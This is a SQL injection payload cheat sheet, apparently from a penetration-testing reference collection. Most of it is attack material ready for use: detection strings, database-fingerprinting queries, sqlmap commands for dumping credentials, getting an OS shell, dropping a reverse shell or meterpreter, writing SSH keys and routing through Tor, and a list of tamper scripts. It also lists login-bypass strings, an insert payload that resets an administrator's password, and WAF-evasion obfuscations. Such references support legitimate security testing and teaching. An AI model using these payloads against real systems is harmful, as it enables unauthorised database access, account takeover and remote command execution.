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SQL injection

A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application.

Attempting to manipulate SQL queries may have goals including: - Information Leakage - Disclosure of stored data - Manipulation of stored data - Bypassing authorization controls

Summary

Entry point detection

Detection of an SQL injection entry point Simple characters

'
%27
"
%22
#
%23
;
%3B
)
Wildcard (*)
'  # required for XML content

Multiple encoding

%%2727
%25%27

Merging characters

`+HERP
'||'DERP
'+'herp
' 'DERP
'%20'HERP
'%2B'HERP

Logic Testing

page.asp?id=1 or 1=1 -- true
page.asp?id=1' or 1=1 -- true
page.asp?id=1" or 1=1 -- true
page.asp?id=1 and 1=2 -- false

Weird characters

Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was
transformed into U+0022 QUOTATION MARK (")
Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was
transformed into U+0027 APOSTROPHE (')

DBMS Identification

["conv('a',16,2)=conv('a',16,2)"                   ,"MYSQL"],
["connection_id()=connection_id()"                 ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')"                   ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)"       ,"MSSQL"],
["@@CONNECTIONS>0"                                 ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS"                     ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY"                           ,"MSSQL"],
["USER_ID(1)=USER_ID(1)"                           ,"MSSQL"],
["ROWNUM=ROWNUM"                                   ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')"                   ,"ORACLE"],
["LNNVL(0=123)"                                    ,"ORACLE"],
["5::int=5"                                        ,"POSTGRESQL"],
["5::integer=5"                                    ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()"       ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)"         ,"POSTGRESQL"],
["current_database()=current_database()"           ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()"               ,"SQLITE"],
["last_insert_rowid()>1"                           ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()"         ,"SQLITE"],
["val(cvar(1))=1"                                  ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"               ,"MSACCESS"],
["cdbl(1)=cdbl(1)"                                 ,"MSACCESS"],
["1337=1337",   "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'",     "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],

SQL injection using SQLmap

Basic arguments for SQLmap

sqlmap --url="<url>" -p username --user-agent=SQLMAP --random-agent --threads=10 --risk=3 --level=5 --eta --dbms=MySQL --os=Linux --banner --is-dba --users --passwords --current-user --dbs

Load a request file and use mobile user-agent

sqlmap -r sqli.req --safe-url=http://10.10.10.10/ --mobile --safe-freq=1

Custom injection in UserAgent/Header/Referer/Cookie

python sqlmap.py -u "http://example.com" --data "username=admin&password=pass"  --headers="x-forwarded-for:127.0.0.1*"
The injection is located at the '*'

Second order injection

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Shell

SQL Shell
python sqlmap.py -u "http://example.com/?id=1"  -p id --sql-shell

Simple Shell
python sqlmap.py -u "http://example.com/?id=1"  -p id --os-shell

Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1"  -p id --os-pwn

SSH Shell by dropping an SSH key
python sqlmap.py -u "http://example.com/?id=1" -p id --file-write=/root/.ssh/id_rsa.pub --file-destination=/home/user/.ssh/

Crawl a website with SQLmap and auto-exploit

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

Using TOR with SQLmap

sqlmap -u "http://www.target.com" --tor --tor-type=SOCKS5 --time-sec 11 --check-tor --level=5 --risk=3 --threads=5

Using a proxy with SQLmap

sqlmap -u "http://www.target.com" --proxy="http://127.0.0.1:8080"

sqlmap -u "https://test.com/index.php?id=99" --load-cookie=/media/truecrypt1/TI/cookie.txt --proxy "http://127.0.0.1:8080"  -f  --time-sec 15 --level 3

Using suffix to tamper the injection

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

General tamper option and tamper's list

tamper=name_of_the_tamper
Tamper Description
0x2char.py Replaces each (MySQL) 0x encoded string with equivalent CONCAT(CHAR(),…) counterpart
apostrophemask.py Replaces apostrophe character with its UTF-8 full width counterpart
apostrophenullencode.py Replaces apostrophe character with its illegal double unicode counterpart
appendnullbyte.py Appends encoded NULL byte character at the end of payload
base64encode.py Base64 all characters in a given payload
between.py Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #'
bluecoat.py Replaces space character after SQL statement with a valid random blank character.Afterwards replace character = with LIKE operator
chardoubleencode.py Double url-encodes all characters in a given payload (not processing already encoded)
charencode.py URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -> %53%45%4C%45%43%54)
charunicodeencode.py Unicode-URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -> %u0053%u0045%u004C%u0045%u0043%u0054)
charunicodeescape.py Unicode-escapes non-encoded characters in a given payload (not processing already encoded) (e.g. SELECT -> \u0053\u0045\u004C\u0045\u0043\u0054)
commalesslimit.py Replaces instances like 'LIMIT M, N' with 'LIMIT N OFFSET M'
commalessmid.py Replaces instances like 'MID(A, B, C)' with 'MID(A FROM B FOR C)'
commentbeforeparentheses.py Prepends (inline) comment before parentheses (e.g. ( -> /**/()
concat2concatws.py Replaces instances like 'CONCAT(A, B)' with 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'
charencode.py Url-encodes all characters in a given payload (not processing already encoded)
charunicodeencode.py Unicode-url-encodes non-encoded characters in a given payload (not processing already encoded)
equaltolike.py Replaces all occurrences of operator equal ('=') with operator 'LIKE'
escapequotes.py Slash escape quotes (' and ")
greatest.py Replaces greater than operator ('>') with 'GREATEST' counterpart
halfversionedmorekeywords.py Adds versioned MySQL comment before each keyword
htmlencode.py HTML encode (using code points) all non-alphanumeric characters (e.g. ‘ -> ')
ifnull2casewhenisnull.py Replaces instances like ‘IFNULL(A, B)’ with ‘CASE WHEN ISNULL(A) THEN (B) ELSE (A) END’ counterpart
ifnull2ifisnull.py Replaces instances like 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)'
informationschemacomment.py Add an inline comment (/**/) to the end of all occurrences of (MySQL) “information_schema” identifier
least.py Replaces greater than operator (‘>’) with ‘LEAST’ counterpart
lowercase.py Replaces each keyword character with lower case value (e.g. SELECT -> select)
modsecurityversioned.py Embraces complete query with versioned comment
modsecurityzeroversioned.py Embraces complete query with zero-versioned comment
multiplespaces.py Adds multiple spaces around SQL keywords
nonrecursivereplacement.py Replaces predefined SQL keywords with representations suitable for replacement (e.g. .replace("SELECT", "")) filters
overlongutf8.py Converts all characters in a given payload (not processing already encoded)
overlongutf8more.py Converts all characters in a given payload to overlong UTF8 (not processing already encoded) (e.g. SELECT -> %C1%93%C1%85%C1%8C%C1%85%C1%83%C1%94)
percentage.py Adds a percentage sign ('%') infront of each character
plus2concat.py Replaces plus operator (‘+’) with (MsSQL) function CONCAT() counterpart
plus2fnconcat.py Replaces plus operator (‘+’) with (MsSQL) ODBC function {fn CONCAT()} counterpart
randomcase.py Replaces each keyword character with random case value
randomcomments.py Add random comments to SQL keywords
securesphere.py Appends special crafted string
sp_password.py Appends 'sp_password' to the end of the payload for automatic obfuscation from DBMS logs
space2comment.py Replaces space character (' ') with comments
space2dash.py Replaces space character (' ') with a dash comment ('--') followed by a random string and a new line ('\n')
space2hash.py Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n')
space2morehash.py Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n')
space2mssqlblank.py Replaces space character (' ') with a random blank character from a valid set of alternate characters
space2mssqlhash.py Replaces space character (' ') with a pound character ('#') followed by a new line ('\n')
space2mysqlblank.py Replaces space character (' ') with a random blank character from a valid set of alternate characters
space2mysqldash.py Replaces space character (' ') with a dash comment ('--') followed by a new line ('\n')
space2plus.py Replaces space character (' ') with plus ('+')
space2randomblank.py Replaces space character (' ') with a random blank character from a valid set of alternate characters
symboliclogical.py Replaces AND and OR logical operators with their symbolic counterparts (&& and
unionalltounion.py Replaces UNION ALL SELECT with UNION SELECT
unmagicquotes.py Replaces quote character (') with a multi-byte combo %bf%27 together with generic comment at the end (to make it work)
uppercase.py Replaces each keyword character with upper case value 'INSERT'
varnish.py Append a HTTP header 'X-originating-IP'
versionedkeywords.py Encloses each non-function keyword with versioned MySQL comment
versionedmorekeywords.py Encloses each keyword with versioned MySQL comment
xforwardedfor.py Append a fake HTTP header 'X-Forwarded-For'

SQLmap without SQL injection

You can use SQLmap to access a database via its port instead of a URL.

sqlmap.py -d "mysql://user:pass@ip/database" --dump-all

Authentication bypass

'-'
' '
'&'
'^'
'*'
' or 1=1 limit 1 -- -+
'="or'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
'-||0'
"-||0"
"-"
" "
"&"
"^"
"*"
'--'
"--"
'--' / "--"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x
or 2 like 2
or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' -- -
admin' #
admin'/*
admin' or '2' LIKE '1
admin' or 2 LIKE 2--
admin' or 2 LIKE 2#
admin') or 2 LIKE 2#
admin') or 2 LIKE 2--
admin') or ('2' LIKE '2
admin') or ('2' LIKE '2'#
admin') or ('2' LIKE '2'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin';-- azer 
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055

Authentication Bypass (Raw MD5 SHA1)

When a raw md5 is used, the pass will be queried as a simple string, not a hexstring.

"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"

Allowing an attacker to craft a string with a true statement such as ' or 'SOMETHING

md5("ffifdyop", true) = 'or'6�]��!r,��b
sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-!

Challenge demo available at http://web.jarvisoj.com:32772

Polyglot injection (multicontext)

SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

/* MySQL only */
IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/

Routed injection

admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'

Insert Statement - ON DUPLICATE KEY UPDATE

ON DUPLICATE KEY UPDATE keywords is used to tell MySQL what to do when the application tries to insert a row that already exists in the table. We can use this to change the admin password by:

Inject using payload:
  attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" --

The query would look like this:
INSERT INTO users (email, password) VALUES ("attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" -- ", "bcrypt_hash_of_your_password_input");

This query will insert a row for the user “attacker_dummy@example.com”. It will also insert a row for the user “admin@example.com”.
Because this row already exists, the ON DUPLICATE KEY UPDATE keyword tells MySQL to update the `password` column of the already existing row to "bcrypt_hash_of_qwerty".

After this, we can simply authenticate with “admin@example.com” and the password “qwerty”!

WAF Bypass

White spaces alternatives

No Space (%20) - bypass using whitespace alternatives

?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--

No Whitespace - bypass using comments

?id=1/*comment*/and/**/1=1/**/--

No Whitespace - bypass using parenthesis

?id=(1)and(1)=(1)--

Whitespace alternatives by DBMS | DBMS | ASCII characters in hexadicimal | | ---- | ------------------------------- | | SQLite3 | 0A, 0D, 0C, 09, 20 | | MySQL 5 | 09, 0A, 0B, 0C, 0D, A0, 20 | | MySQL 3 | 01, 02, 03, 04, 05, 06, 07, 08, 09, 0A, 0B, 0C, 0D, 0E, 0F, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 1A, 1B, 1C, 1D, 1E, 1F, 20, 7F, 80, 81, 88, 8D, 8F, 90, 98, 9D, A0 | | PostgreSQL | 0A, 0D, 0C, 09, 20 | | Oracle 11g | 00, 0A, 0D, 0C, 09, 20 | | MSSQL | 01, 02, 03, 04, 05, 06, 07, 08, 09, 0A, 0B, 0C, 0D, 0E, 0F, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 1A, 1B, 1C, 1D, 1E, 1F, 20 |

Example of query where spaces were replaced by ascii characters above 0x80

♀SELECT§*⌂FROM☺users♫WHERE♂1☼=¶1‼

No Comma

Bypass using OFFSET, FROM and JOIN

LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d

No Equal

Bypass using LIKE/NOT IN/IN/BETWEEN

?id=1 and substring(version(),1,1)like(5)
?id=1 and substring(version(),1,1)not in(4,3)
?id=1 and substring(version(),1,1)in(4,3)
?id=1 and substring(version(),1,1) between 3 and 4

Case modification

Bypass using uppercase/lowercase (see keyword AND)

?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#

Bypass using keywords case insensitive / Bypass using an equivalent operator

AND   -> &&
OR    -> ||
=     -> LIKE,REGEXP, BETWEEN, not < and not >
> X   -> not between 0 and X
WHERE -> HAVING

Obfuscation by DBMS

MySQL

1.UNION SELECT  2   
3.2UNION    SELECT  2   
1e0UNION    SELECT  2   
SELECT\N/0.e3UNION  SELECT  2   
1e1AND-0.0UNION SELECT  2   
1/*!12345UNION/*!31337SELECT/*!table_name*/ 
{ts 1}UNION SELECT.``   1.e.table_name  
SELECT  $.``    1.e.table_name  
SELECT{_    .``1.e.table_name}  
SELECT  LightOS .   ``1.e.table_name    LightOS 
SELECT  information_schema 1337.e.tables    13.37e.table_name   
SELECT  1   from    information_schema 9.e.table_name

MSSQL

.1UNION SELECT  2   
1.UNION SELECT.2alias   
1e0UNION    SELECT  2   
1e1AND-1=0.0UNION   SELECT  2   
SELECT  0xUNION SELECT  2   
SELECT\UNION    SELECT  2   
\1UNION SELECT  2   
SELECT  1FROM[table]WHERE\1=\1AND\1=\1  
SELECT"table_name"FROM[information_schema].[tables]

Oracle

1FUNION SELECT  2   
1DUNION SELECT  2   
SELECT  0x7461626c655f6e616d65  FROM    all_tab_tables
SELECT  CHR(116)    ||  CHR(97) ||  CHR(98) FROM    all_tab_tables
SELECT%00table_name%00FROM%00all_tab_tables

More MySQL specific

information_schema.tables alternative

select * from mysql.innodb_table_stats;
+----------------+-----------------------+---------------------+--------+----------------------+--------------------------+
| database_name  | table_name            | last_update         | n_rows | clustered_index_size | sum_of_other_index_sizes |
+----------------+-----------------------+---------------------+--------+----------------------+--------------------------+
| dvwa           | guestbook             | 2017-01-19 21:02:57 |      0 |                    1 |                        0 |
| dvwa           | users                 | 2017-01-19 21:03:07 |      5 |                    1 |                        0 |
...
+----------------+-----------------------+---------------------+--------+----------------------+--------------------------+

mysql> show tables in dvwa;
+----------------+
| Tables_in_dvwa |
+----------------+
| guestbook      |
| users          |
+----------------+

Version Alternative

mysql> select @@innodb_version;
+------------------+
| @@innodb_version |
+------------------+
| 5.6.31           |
+------------------+

mysql> select @@version;
+-------------------------+
| @@version               |
+-------------------------+
| 5.6.31-0ubuntu0.15.10.1 |
+-------------------------+

mysql> mysql> select version();
+-------------------------+
| version()               |
+-------------------------+
| 5.6.31-0ubuntu0.15.10.1 |
+-------------------------+

WAF bypass for MySQL using scientific notation

Blocked

' or ''='

Working

' or 1.e('')='

Obfuscated query

1.e(ascii 1.e(substring(1.e(select password from users limit 1 1.e,1 1.e) 1.e,1 1.e,1 1.e)1.e)1.e) = 70 or'1'='2

References

Last update: August 30, 2022